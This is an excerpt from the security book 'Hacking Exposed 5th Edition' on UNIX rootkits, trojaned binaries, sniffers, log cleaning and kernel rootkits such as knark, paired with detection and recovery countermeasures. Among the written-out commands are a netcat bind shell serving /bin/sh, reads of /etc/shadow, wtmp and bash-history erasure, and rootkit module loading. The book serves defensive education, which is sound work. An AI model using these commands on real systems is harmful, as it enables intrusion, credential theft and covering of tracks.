Hacking Exposed 5th Edition

Once the adrenaline rush of obtaining root access has subsided, the real work begins for the attackers . They want to exploit your system by "hoovering" all the files for information; loading up sniffers to capture telnet, ftp, pop, and snmp passwords; and, finally, attacking yet another victim from your box. Almost all these techniques, however, are predicated on the uploading of a customized rootkit.

Rootkits

The initially compromised system will now become the central access point for all future attacks, so it will be important for the attackers to upload and hide their rootkits. A UNIX rootkit typically consists of four groups of tools all geared to the specific platform type and version:

• Trojan programs such as altered versions of login, netstat, and ps

• Back doors such as inetd insertions

• Interface sniffers

• System log cleaners

Trojans

Once attackers have obtained root, they can "Trojanize" just about any command on the system. That's why it is critical that you check the size and date/time stamp on all your binaries, but especially on your most frequently used programs, such as login, su, telnet, ftp, passwd, netstat, ifconfig, ls, ps, ssh, find, du, df, sync, reboot, halt, shutdown, and so on.

For example, a common Trojan in many rootkits is a hacked-up version of login. The program will log in a user just as the normal login command does; however, it will also log the input username and password to a file. A hacked-up version of ssh will perform the same function as well.

Another Trojan may create a back door into your system by running a TCP listener and shoveling back a UNIX shell. For example, the ls command may check for the existence of an already running Trojan and, if it's not already running, will fire up a hacked-up version of netcat that will send back /bin/sh when attackers connect to it. The following, for instance, will run netcat in the background, setting it to listen to a connection attempt on TCP port 222 and then to shovel /bin/sh back when connected:

[sigma]# nohup nc -l -p 222 -nvv -e /bin/sh & listening on [any] 222 ...

The attackers will then see the following when they connect to TCP port 222, and they can do anything root can do:

[rumble]# nc -nvv 24.8.128.204 222 (UNKNOWN) [192.168.1.100] 222 (?) open cat /etc/shadow root:ar90alrR10r41:10783:0:99999:7:-1:-1:134530596 bin:*:10639:0:99999:7::: daemon:*:10639:0:99999:7::: adm:*:10639:0:99999:7::: ...

The number of potential Trojan techniques is limited only by the attacker's imagination (which tends to be expansive). Other Trojan techniques are uncovered in Chapter 14.

Vigilant monitoring and inventorying of all your listening ports will prevent this type of attack, but your best countermeasure is to prevent binary modification in the first place.

Trojan Countermeasure

Without the proper tools, many of these Trojans will be difficult to detect. They often have the same file size and can be changed to have the same date as the original programsso relying on standard identification techniques will not suffice. You'll need a cryptographic checksum program to perform a unique signature for each binary file, and you will need to store these signatures in a secure manner (such as on a disk offsite in a safe deposit box). Programs such as Tripwire (http://www.tripwire.com) and MD5sum are the most popular checksumming tools, enabling you to record a unique signature for all your programs and to definitively determine when attackers have changed a binary. Often, admins will forget about creating checksums until after a compromise has been detected . Obviously, this is not the ideal solution. Luckily, some systems have package management functionality that already has strong hashing built in. For example, many flavors of Linux use the Red Hat Package Manager (RPM) format. Part of the RPM specification includes MD5 checksums. So how can this help after a compromise? By using a known good copy of rpm, you can query a package that has not been compromised to see if any binaries associated with that package were changed:

[@shadow]# rpm -Vvp ftp://ftp.redhat.com/pub/redhat/\ redhat-6.2/i386/RedHat/RPMS/fileutils-4.0-21.i386.rpm S.5....T /bin/ls

In our example, /bin/ls is part of the fileutils package for Red Hat 6.2. We can see that /bin/ls has been changed by the existence of the "5" earlier. This means that the MD5 checksum is different between the binary and the packagea good indication that this box is owned.

For Solaris systems, a complete database of known MD5 sums can be obtained from http://wwws.sun.com/software/security/downloads.html. This is the Solaris Fingerprint Database maintained by Sun and will come in handy one day if you are a Solaris admin.

Of course, once your system has been compromised, never rely on backup tapes to restore your systemthey are most likely infected as well. To properly recover from an attack, you'll have to rebuild your system from the original media.

Sniffers

Having your system(s) "rooted" is bad, but perhaps the worst outcome of this vulnerable position is having a network eavesdropping utility installed on the compromised host. Sniffers, as they are commonly known (after the popular network monitoring software from Network General), could arguably be called the most damaging tools employed by malicious attackers. This is primarily because sniffers allow attackers to strike at every system that sends traffic to the compromised host and at any others sitting on the local network segment totally oblivious to a spy in their midst.

What Is a Sniffer?

Sniffers arose out of the need for a tool to debug networking problems. They essentially capture, interpret, and store for later analysis packets traversing a network. This provides network engineers a window on what is occurring over the wire, allowing them to troubleshoot or model network behavior by viewing packet traffic in its most raw form. An example of such a packet trace appears next . The user ID is "guest" with a password of "guest." All commands subsequent to login appear as well.

------------[SYN] (slot 1) pc6 => target3 [23] %&& #'$ANSI"!guest guest ls cd / ls cd /etc cat /etc/passwd more hosts.equiv more /root/.bash_history

Like most powerful tools in the network administrator's toolkit, this one was also subverted over the years to perform duties for malicious hackers. You can imagine the unlimited amount of sensitive data that passes over a busy network in just a short time. The data includes username/password pairs, confidential e-mail messages, file transfers of proprietary formulas, and reports . At one time or another, if it gets sent onto a network, it gets translated into bits and bytes that are visible to an eavesdropper employing a sniffer at any juncture along the path taken by the data.

Although we will discuss ways to protect network data from such prying eyes, we hope you are beginning to see why we feel sniffers are one of the most dangerous tools employed by attackers. Nothing is secure on a network where sniffers have been installed because all data sent over the wire is essentially wide open. Dsniff (http://www. monkey .org/~dugsong/dsniff) is our favorite sniffer, developed by that crazy cat Dug Song, and can be found at http://packetstormsecurity.org/sniffers along with many other popular sniffer programs.

How Sniffers Work

The simplest way to understand their function is to examine how an Ethernet-based sniffer works. Of course, sniffers exist for just about every other type of network media, but because Ethernet is the most common, we'll stick to it. The same principles generally apply to other networking architectures.

An Ethernet sniffer is software that works in concert with the network interface card (NIC) to blindly suck up all traffic within "earshot" of the listening system, rather than just the traffic addressed to the sniffing host. Normally, an Ethernet NIC will discard any traffic not specifically addressed to itself or the network broadcast address, so the card must be put in a special state called promiscuous mode to enable it to receive all packets floating by on the wire.

Once the network hardware is in promiscuous mode, the sniffer software can capture and analyze any traffic that traverses the local Ethernet segment. This limits the range of a sniffer somewhat because it will not be able to listen to traffic outside of the local network's collision domain (that is, beyond routers, switches, or other segmenting devices). Obviously, a sniffer judiciously placed on a backbone, internetwork link, or other network aggregation point will be able to monitor a greater volume of traffic than one placed on an isolated Ethernet segment.

Now that we've established a high-level understanding of how sniffers function, let's take a look at some popular sniffers and how to detect them.

Popular Sniffers

Table 5-2 is hardly meant to be exhaustive, but these are the tools that we have encountered (and employed) most often in our years of combined security assessments.

Sniffer Countermeasures

You can use three basic approaches to defeating sniffers planted in your environment.

Migrate to Switched Network Topologies Shared Ethernet is extremely vulnerable to sniffing because all traffic is broadcast to any machine on the local segment. Switched Ethernet essentially places each host in its own collision domain so that only traffic destined for specific hosts (and broadcast traffic) reaches the NIC, nothing more. An added bonus to moving to switched networking is the increase in performance. With the costs of switched equipment nearly equal to that of shared equipment, there really is no excuse to purchase shared Ethernet technologies anymore. If your company's accounting department just doesn't see the light, show them their passwords captured using one of the programs specified earlierthey'll reconsider.

While switched networks help defeat unsophisticated attackers, they can be easily subverted to sniff the local network. A program such as arpredirect, part of the dsniff package by Dug Song (http://www.monkey.org/~dugsong/dsniff), can easily subvert the security provided by most switches. See Chapter 9 for a complete discussion of arpredirect.

Detecting Sniffers There are two basic approaches to detecting sniffers: host based and network based. The most direct host-based approach is to determine whether the target system's network card is operating in promiscuous mode. On UNIX, several programs can accomplish this, including Check Promiscuous Mode (cpm), which can be found at ftp:// coast .cs.purdue.edu/pub/tools/unix/cpm.

Sniffers are also visible in the Process List and tend to create large log files over time, so simple UNIX scripts using ps, lsof, and grep can illuminate suspicious sniffer-like activity. Intelligent intruders will almost always disguise the sniffer's process and attempt to hide the log files it creates in a hidden directory, so these techniques are not always effective.

Network-based sniffer detection has been hypothesized for a long time, but only relatively recently has someone written a tool to perform such a task: The tool is AntiSniff, from the security research group known as the L0pht (http://www.defcon.tv/sniffers/antisniff). In addition to AntiSniff, sentinel (http://www.packetfactory.net/Projects/Sentinel) can be run from a UNIX system and has advanced network-based promiscuous mode detection features.

Encryption (SSH, IPSec) The long- term solution to network eavesdropping is encryption. Only if end-to-end encryption is employed can near-complete confidence in the integrity of communication be achieved. Encryption key length should be determined based on the amount of time the data remains sensitive. Shorter encryption key lengths (40 bits) are permissible for encrypting data streams that contain rapidly outdated data and will also boost performance.

Secure Shell (SSH) has long served the UNIX community where encrypted remote login was needed. Free versions for noncommercial, educational use can be found at http://www.ssh.com/downloads. OpenSSH is a free open-source alternative pioneered by the OpenBSD team and can be found at http://www.openssh.com.

The IP Security Protocol (IPSec) is a peer-reviewed proposed Internet standard that can authenticate and encrypt IP traffic. Dozens of vendors offer IPSec-based products consult your favorite network supplier for their current offerings. Linux users should consult the FreeSWAN project at http://www.freeswan.org/intro.html for a free opensource implementation of IPSec and IKE.

Log Cleaning

Not usually wanting to provide you (and especially the authorities) with a record of their system access, attackers will often clean up the system logseffectively removing their trail of chaos. A number of log cleaners are usually a part of any good rootkit. Some of the more popular programs are zap, wzap, wted, and remove. But a simple text editor such as vi or emacs will suffice in many cases.

Of course, the first step in removing the record of their activity is to alter the login logs. To discover the appropriate technique for this requires a peek into the /etc/syslog. conf configuration file. For example, in the syslog.conf file shown next, we know that the majority of the system logins can be found in the /var/log directory:

[itchy]# cat /etc/syslog.conf # Log all kernel messages to the console. # Logging much else clutters up the screen. #kern.* /dev/console # Log anything (except mail) of level info or higher. # Don't log private authentication messages! *.info;mail.none;authpriv.none /var/log/messages # The authpriv file has restricted access. authpriv.* /var/log/secure # Log all the mail messages in one place. mail.* /var/log/maillog # Everybody gets emergency messages, plus log them on another # machine. *.emerg * # Save mail and news errors of level err and higher in a # special file. uucp,news.crit /var/log/spooler

With this knowledge, the attackers know to look in the /var/log directory for key log files. With a simple listing of that directory, we find all kinds of log files, including cron, maillog, messages, spooler, secure (TCP Wrappers log), wtmp, and xferlog.

A number of files will need to be altered, including messages, secure, wtmp, and xferlog. Because the wtmp log is in binary format (and typically used only for the who command), the attackers will often use a rootkit program to alter this file. wzap is specific to the wtmp log and will clear out the specified user from the wtmp log only. For example, to run wzap, perform the following:

[itchy]# who ./wtmp joel ftpd17264 Jul 1 12:09 (172.16.11.204) root tty1 Jul 4 22:21 root tty1 Jul 9 19:45 root tty1 Jul 9 19:57 root tty1 Jul 9 21:48 root tty1 Jul 9 21:53 root tty1 Jul 9 22:45 root tty1 Jul 10 12:24 joel tty1 Jul 11 09:22 stuman tty1 Jul 11 09:42 root tty1 Jul 11 09:42 root tty1 Jul 11 09:51 root tty1 Jul 11 15:43 joel ftpd841 Jul 11 22:51 (172.16.11.205) root tty1 Jul 14 10:05 joel ftpd3137 Jul 15 08:27 (172.16.11.205) joel ftpd82 Jul 15 17:37 (172.16.11.205) joel ftpd945 Jul 17 19:14 (172.16.11.205) root tty1 Jul 24 22:14 [itchy]# /opt/wzap Enter username to zap from the wtmp: joel opening file... opening output file... working... [itchy]# who ./wtmp.out root tty1 Jul 4 22:21 root tty1 Jul 9 19:45 root tty1 Jul 9 19:57 root tty1 Jul 9 21:48 root tty1 Jul 9 21:53 root tty1 Jul 9 22:45 root tty1 Jul 10 12:24 stuman tty1 Jul 11 09:42 root tty1 Jul 11 09:42 root tty1 Jul 11 09:51 root tty1 Jul 11 15:43 root tty1 Jul 14 10:05 root tty1 Jul 24 22:14 root tty1 Jul 24 22:14

The new output log (wtmp.out) has the user "joel" removed. By issuing a simple copy command to copy wtmp.out to wtmp, the attackers have removed the log entry for their login. Programs such as zap (for SunOS 4.x) actually alter the last login date/time (as when you finger a user). Next, a manual edit (using vi or emacs) of the secure, messages, and xferlog log files will further remove their activity record.

One of the last steps will be to remove their own commands. Many UNIX shells keep a history of the commands run to provide easy retrieval and repetition. For example, the Bourne Again shell (/bin/bash) keeps a file in the user's directory (including root's in many cases) called .bash_history that maintains a list of the recently used commands. Usually as the last step before signing off, attackers will want to remove their entries. For example, the .bash_history file may look something like this:

tail -f /var/log/messages vi chat-ppp0 kill -9 1521 logout < the attacker logs in and begins his work here > i pwd cat /etc/shadow >\> /tmp/.badstuff/sh.log cat /etc/hosts >\> /tmp/.badstuff/ho.log cat /etc/groups >\> /tmp/.badstuff/gr.log netstat -na >\> /tmp/.badstuff/ns.log arp -a >\> /tmp/.badstuff/a.log /sbin/ifconfig >\> /tmp/.badstuff/if.log find / -name -type f -perm -4000 >\> /tmp/.badstuff/suid.log find / -name -type f -perm -2000 >\> /tmp/.badstuff/sgid.log ...

Using a simple text editor, the attackers will remove these entries and use the touch command to reset the last accessed date and time on the file. Usually attackers will not generate history files because they disable the history feature of the shell by setting

unset HISTFILE; unset SAVEHIST

Additionally, an intruder may link .bash_history to /dev/null:

[rumble]# ln -s /dev/null ~/.bash_history [rumble]# ls -l .bash_history lrwxrwxrwx 1 root root 9 Jul 26 22:59 .bash_history -> /dev/null

Log Cleaning Countermeasure

It is important to write log file information to a medium that is difficult to modify. Such a medium includes a file system that supports extend attributes such as the append-only flag. Thus, log information can only be appended to each log file, rather than altered by attackers. This is not a panacea, because it is possible for attackers to circumvent this mechanism. The second method is to syslog critical log information to a secure log host. Keep in mind that if your system is compromised, it is very difficult to rely on the log files that exist on the compromised system due to the ease with which attackers can manipulate them.

Kernel Rootkits

We have spent some time exploring traditional rootkits that modify and use Trojans on existing files once the system has been compromised. This type of subterfuge is pass. The latest and most insidious variants of rootkits are now kernel based. These kernelbased rootkits actually modify the running UNIX kernel to fool all system programs without modifying the programs themselves .

Typically, a loadable kernel module (LKM) is used to load additional functionality into a running kernel without compiling this feature directly into the kernel. This functionality enables the loading and unloading of kernel modules when needed, while decreasing the size of the running kernel. Thus, a small, compact kernel can be compiled and modules loaded when they are needed. Many UNIX flavors support this feature, including Linux, FreeBSD, and Solaris. This functionality can be abused with impunity by an attacker to completely manipulate the system and all processes. Instead of LKMs being used to load device drivers for items such as network cards, LKMs will instead be used to intercept system calls and modify them in order to change how the system reacts to certain commands. The two most popular kernel rootkits are knark for Linux and Solaris Loadable Kernel Modules (http://packetstormsecurity.org/groups/thc/slkm-1.0.html), by THC. We will discuss knark (http://packetstormsecurity.org/UNIX/penetration/rootkits/knark-0.59.tar.gz) in detail next.

knark was developed by Creed and is a kernel-based rootkit for the Linux 2.2. x series kernels . The heart of the package is the kernel module knark.o. To load the module, attackers use the kernel module loading utility insmod:

[shadow]# /sbin/insmod knark.o

Next, we see if the module is loaded:

[shadow]# /sbin/lsmod Module Size Used by knark 6936 0 (unused) nls_iso8859-1 2240 1 (autoclean) lockd 30344 1 (autoclean) sunrpc 52132 1 (autoclean) [lockd] rtl8139 11748 1 (autoclean)

We can see that the knark kernel module is loaded. As you would imagine, it's easy for an admin to detect this module, which would defeat the attackers' desire to remain undetected with privileged access. Therefore, attackers can use the modhide.o LKM (part of the knark package) to remove the knark module from the lsmod output:

[shadow]# /sbin/insmod modhide.o modhide.o: init_module: Device or resource busy [shadow]# /sbin/lsmod Module Size Used by nls_iso8859-1 2240 1 (autoclean) lockd 30344 1 (autoclean) sunrpc 52132 1 (autoclean) [lockd] rtl8139 11748 1 (autoclean)

As you can see, when we run lsmod again, knark has magically disappeared.

Here are some other interesting utilities included with knark:

• hidef Used to hide files on the system.

• unhidef Used to unhide hidden files.

• ered Used to configure exec -redirection. This allows the attackers' Trojan programs to be executed instead of the original versions.

• nethide Used to hide strings in /proc/net/tcp and /proc/net/udp. This is where netstat gets its information and is used to hide connections by the attackers to and from the compromised system.

• taskhack Used to change *UIDs and *GIDs of running processes. Thus, attackers can instantly change the process owner of /bin/sh (run as a normal user) to a user ID of root (0).

• rexec Used to execute commands remotely on a knark server. It supports the ability to spoof the source address; thus, commands can be executed without detection.

• rootme Used to gain root access without using SUID programs. You can see in the following example how easy this is:

[shadow]$ rootme /bin/sh rootme.c by Creed @ #hack.se 1999 creed@sekure.net Do you feel lucky today, hax0r? bash#

In addition to knark, Teso has created an updated kernel rootkit variant called adore, which can be found at http://teso.scene.at/releases/adore-0.14.tar.gz. This program is equally powerful, if not more, than knark. Some of the options are listed next:

[shadow]$ ava Usage: ./ava {h,u,r,i,v,U} [file, PID or dummy (for 'U')] h hide file u unhide file r execute as root U uninstall adore i make PID invisible v make PID visible

If that isn't enough to scare you, Silvio Cesare has written a paper on associated tools that allow you to patch kernel memory on the fly to backdoor systems that don't have LKM support. This paper and associated tools can be found at http://packetstormsecurity.nl/9901-exploits/runtime-kernel-kmem-patching.txt. Finally, Job de Haas has done some tremendous work in researching kernel hacking on Solaris. You can take a look at some beta code he has written at http://www.itsx.com/projects-lkm-kmod.html.

Kernel Rootkit Countermeasures

As you can see, kernel rootkits can be devastating and almost impossible to find. You cannot trust the binaries or the kernel itself when trying to determine whether a system has been compromised. Even checksum utilities such as Tripwire will be rendered useless when the kernel has been compromised. One possible way of detecting knark is to use knark against itself. Because knark allows an intruder to hide any process by issuing kill -31 to a specific PID, you can unhide each process by sending it kill -32 . A simple shell script that sends kill -32 to each process ID will work:

#!/bin/sh rm pid S=1 while [ $S -lt 10000 ] do if kill -32 $S; then echo "$S" >\> pid fi S='expr $S + 1' Done

Keep in mind that both kill -31 and kill -32 are configurable options when knark is built. Therefore, a more skilled attacker may change these options to avoid detection. However, most unsophisticated attackers will happily use the default settings. Better yet, you can use a tool called carbonite written by Foundstone (http://www.foundstone.com/knowledge/free_tools.html). Carbonite is a Linux kernel module that " freezes " the status of every process in Linux's task_struct, which is the kernel structure that maintains information on every running process in Linux, helping to discover nefarious LKMs. Carbonite will capture information similar to lsof, ps, and a copy of the executable image for every process running on the system. This process query is successful even for the situation in which an intruder has hidden a process with a tool such as knark, because carbonite executes within the kernel context on the victim host.

Prevention is always the best countermeasure we can recommend. Using a program such as LIDS (Linux Intrusion Detection System) is a great preventative measure that you can enable for your Linux systems. LIDS is available from http://www.lids.org and provides the following capabilities, and more:

• The ability to "seal" the kernel from modification

• The ability to prevent the loading and unloading of kernel modules

• Immutable and append-only file attributes

• Locking of shared memory segments

• Process ID manipulation protection

• Protection of sensitive /dev/files

• Port scan detection

LIDS is a kernel patch that must be applied to your existing kernel source, and the kernel must be rebuilt. After LIDS is installed, use the lidsadm tool to "seal" the kernel to prevent much of the aforementioned LKM shenanigans. Let's see what happens when LIDS is enabled and we try to run knark:

[shadow]# insmod knark.o Command terminated on signal 1.

A look at /var/log/messages indicates that LIDS not only detected the attempt to load the module, but also proactively prevented it:

Jul 9 13:32:02 shadow kernel: LIDS: insmod (3 1 inode 58956) pid 700 user (0/0) on pts0: CAP_SYS_MODULE violation: try to create module knark

For systems other than Linux, you may want to investigate disabling LKM support on systems that demand the highest level of security. This is not the most elegant solution, but it may prevent a script kiddie from ruining your day. In addition to LIDS, a relatively new package has been developed to stop rootkits in their tracks. St. Michael (http://www. sourceforge .net/projects/stjude) is an LKM that attempts to detect and divert attempts to install a kernel module back door into a running Linux system. This is done by monitoring the init_module and delete_module processes for changes in the system call table.

Rootkit Recovery

We cannot provide extensive incident response or computer forensic procedures here. For that we refer you to the comprehensive tome Incident Response: Investigating Computer Crime, by Chris Prosise and Kevin Mandia (McGraw-Hill/Osborne, 2001). However, it is important to arm yourself with various resources that you can draw upon should that fateful phone call come. "What phone call?" you ask. It will go something like this. "Hi, I am the admin for so-and-so. I have reason to believe that your systems have been attacking ours." "How can this be? All looks normal here." you respond. Your caller says to check it out and get back to him. So now you have that special feeling in your stomach that only an admin who has been hacked can appreciate. You need to determine what happened and how. Remain calm and realize that any action you take on the system may affect the electronic evidence of an intrusion. Just by viewing a file, you will affect the last access timestamp. A good first step in preserving evidence is to create a toolkit with statically linked binary files that have been cryptographically verified to vendor-supplied binaries. The use of statically linked binary files is necessary in case attackers modify shared library files on the compromised system. This should be done before an incident occurs. You need to maintain a floppy or CD-ROM of common statically linked programs that at a minimum include the following:

With this toolkit in hand, it is important to preserve the three timestamps associated with each file on a UNIX system. The three timestamps include the last access time, time of modification, and time of creation. A simple way of saving this information is to run the following commands and to save the output to a floppy or other external media:

ls -alRu > /floppy/timestamp_access.txt ls -alRc > /floppy/timestamp_modification.txt ls -alR > /floppy/timestamp_creation.txt

At a minimum, you can begin to review the output offline without further disturbing the suspect system. In most cases, you will be dealing with a canned rootkit installed with a default configuration. Depending on when the rootkit is installed, you should be able to see many of the rootkit files, sniffer logs, and so on. This assumes that you are dealing with a rootkit that has not modified the kernel. Any modifications to the kernel, and all bets are off on getting valid results from the aforementioned commands. Consider using secure boot media such as Trinux (http://www.trinux.org) when performing your forensic work on Linux systems. This should give you enough information to start to determine whether you have been rootkitted. After you have this information in hand, you should consult the following resources to fully determine what has been changed and how the compromise happened:

• http://staff.washington.edu/dittrich/misc/faqs/rootkits.faq

• http://staff.washington.edu/dittrich/misc/faqs/responding.faq

• http://home.datacomm.ch/prutishauser/textz/backdoors/rootkits-desc.txt

• http://www.fish.com/forensics/freezing.pdf and the corresponding Forensic toolkit (http://www.fish.com/security/tct.html)

It is important that you take copious notes on exactly what commands you run and the related output. You should also ensure that you have a good incident response plan in place before an actual incident (http://www.sei.cmu.edu/pub/documents/98.reports/pdf/98hb001.pdf). Don't be one of the many people who go from detecting a security breach to calling the authorities. There are many other steps in between.